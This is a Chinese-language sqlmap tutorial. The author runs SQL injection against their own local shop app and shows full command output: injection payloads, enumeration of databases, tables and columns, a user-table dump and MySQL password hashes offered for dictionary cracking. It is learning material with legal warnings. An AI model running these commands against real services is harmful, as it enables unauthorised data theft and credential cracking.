目錄
sqlmap
Sqlmap 是一個開源的滲透測試工具，可以自動檢測和利用 SQL 注入缺陷以及接管資料庫伺服器的過程。它有一個強大的檢測引擎，許多針對最終滲透測試人員的小眾功能，以及從資料庫指紋、從資料庫獲取資料、訪問底層檔案系統和通過帶外連線在作業系統上執行命令等廣泛的開關。
安裝
pip install sqlmap
檢視幫助文件
sqlmap -hh
中文文件
直連資料庫
服務型資料庫(mysql)
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
sqlmap -d "mysql://root:123456@127.0.0.1:3306/uniapp_shop" -f --banner --dbs --users
檔案型資料庫(sqlite)
DBMS://DATABASE_FILEPATH
sqlmap -d "sqlite3://D:\apiTestDjango\db.sqlite3" -f --banner --dbs --tables
初級實戰
此處使用的是本地的服務，目的在於學習sqlmap的使用，請不要做違法的事情
掃描專案原始碼為: https://gitee.com/zy7y/uniapp_shop_server
1. 掃描注入點
命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1
___
__H__
___ ___[,]_____ ___ ___ {1.5.5#pip}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:34:37 /2021-05-14/
[13:34:37] [INFO] resuming back-end DBMS 'mysql'
[13:34:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newid=13 AND 6236=6236
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:34:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:34:37] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 13:34:37 /2021-05-14/
# Title: Generic UNION query (NULL) - 5 columns 注入點
2. 根據注入點查到全部資料庫 --dbs
命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.5.5#pip}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:40:12 /2021-05-14/
[13:40:12] [INFO] resuming back-end DBMS 'mysql'
[13:40:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newid=13 AND 6236=6236
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:40:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:40:12] [INFO] fetching database names
available databases [6]:
[*] atplant
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] uniapp_shop
[13:40:12] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 13:40:12 /2021-05-14/
3. 根據指定資料庫來查所有表
命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables
___
__H__
___ ___[.]_____ ___ ___ {1.5.5#pip}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:57:46 /2021-05-14/
[14:57:47] [INFO] resuming back-end DBMS 'mysql'
[14:57:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:57:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:57:47] [INFO] fetching tables for database: 'uniapp_shop'
Database: uniapp_shop
[36 tables]
+----------------------------+
| dt_article |
| dt_article_albums |
| dt_article_attach |
| dt_article_attribute_field |
| dt_article_attribute_value |
| dt_article_category |
| dt_article_comment |
| dt_brands |
| dt_channel |
| dt_channel_field |
| dt_channel_site |
| dt_express |
| dt_feedback |
| dt_link |
| dt_mail_template |
| dt_manager |
| dt_manager_log |
| dt_manager_role |
| dt_manager_role_value |
| dt_navigation |
| dt_order_goods |
| dt_orders |
| dt_payment |
| dt_sms_template |
| dt_user_amount_log |
| dt_user_attach_log |
| dt_user_code |
| dt_user_group_price |
| dt_user_groups |
| dt_user_login_log |
| dt_user_message |
| dt_user_oauth |
| dt_user_oauth_app |
| dt_user_point_log |
| dt_user_recharge |
| dt_users |
+----------------------------+
[14:57:47] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 14:57:47 /2021-05-14/
3.根據表來爆欄位(mysql版本>5.0)
命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns
___
__H__
___ ___[)]_____ ___ ___ {1.5.5#pip}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:59:01 /2021-05-14/
[14:59:01] [INFO] resuming back-end DBMS 'mysql'
[14:59:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:59:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:59:01] [INFO] fetching columns for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[22 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| exp | int |
| address | varchar(255) |
| amount | double |
| area | varchar(255) |
| avatar | varchar(255) |
| birthday | timestamp |
| email | varchar(50) |
| group_id | int |
| id | int |
| mobile | varchar(20) |
| msn | varchar(100) |
| nick_name | varchar(100) |
| password | varchar(100) |
| point | int |
| qq | varchar(20) |
| reg_ip | varchar(20) |
| reg_time | timestamp |
| salt | varchar(20) |
| sex | varchar(20) |
| status | int |
| telphone | varchar(50) |
| user_name | varchar(100) |
+-----------+--------------+
[14:59:02] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 14:59:02 /2021-05-14/
4. 根據欄位名查到表中的資料
注意:當使用了--dump 已經觸法了法律，請不要惡意攻擊他人服務
命令:sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump
___
__H__
___ ___[']_____ ___ ___ {1.5.5#pip}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:03:52 /2021-05-14/
[15:03:52] [INFO] resuming back-end DBMS 'mysql'
[15:03:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[15:03:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:03:52] [INFO] fetching entries of column(s) 'id,user_name' for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[1 entry]
+-----------+----+
| user_name | id |
+-----------+----+
| test | 1 |
+-----------+----+
[15:03:53] [INFO] table 'uniapp_shop.dt_users' dumped to CSV file 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1\dump\uniapp_shop\dt_users.csv'
[15:03:53] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 15:03:53 /2021-05-14/
5. 獲取當前資料庫使用者及hash密碼
命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords
(venv) D:\sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords
___
__H__
___ ___[(]_____ ___ ___ {1.5.5#pip}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:40:02 /2021-05-14/
[14:40:02] [INFO] resuming back-end DBMS 'mysql'
[14:40:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newid=13 AND 6236=6236
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[14:40:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:40:02] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[14:40:05] [WARNING] no clear password(s) found
database management system users password hashes:
[*] develop [1]:
password hash: $A$005$~W\\u0005K\\u000b\\u0017d\\u0013\\u0002*4j_s Qg\\u0007\\u0015\\u0001GlIeJWW2iJzFpb0bGTlr5.6kBD1hAQt2iQefbUbepKD
[*] mysql.infoschema [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.session [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.sys [1]:
password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] root [2]:
password hash: $A$005$\\u0013`|dCsg\\u0001^)_s\\u001dL\\u0010n-jx^61Eh8FZrw86xs/5fy7xSwpJ9rmmaZ9iyou1PCK74aRC
password hash: $A$005$z#r<]P\\u000eneGN\\u0014P_m\\u0007tk&av.YQwaEJ5AqX5Mv9.OiaWV/IlOiYM.C3veKIaAjpwq3
[14:40:05] [INFO] fetched data logged to text files under 'C:\Users\zy7y\AppData\Local\sqlmap\output\127.0.0.1'
[*] ending @ 14:40:05 /2021-05-14/
最後
請不要惡意使用其來攻擊他人服務,不要觸碰法律,高階用法請檢視官方文件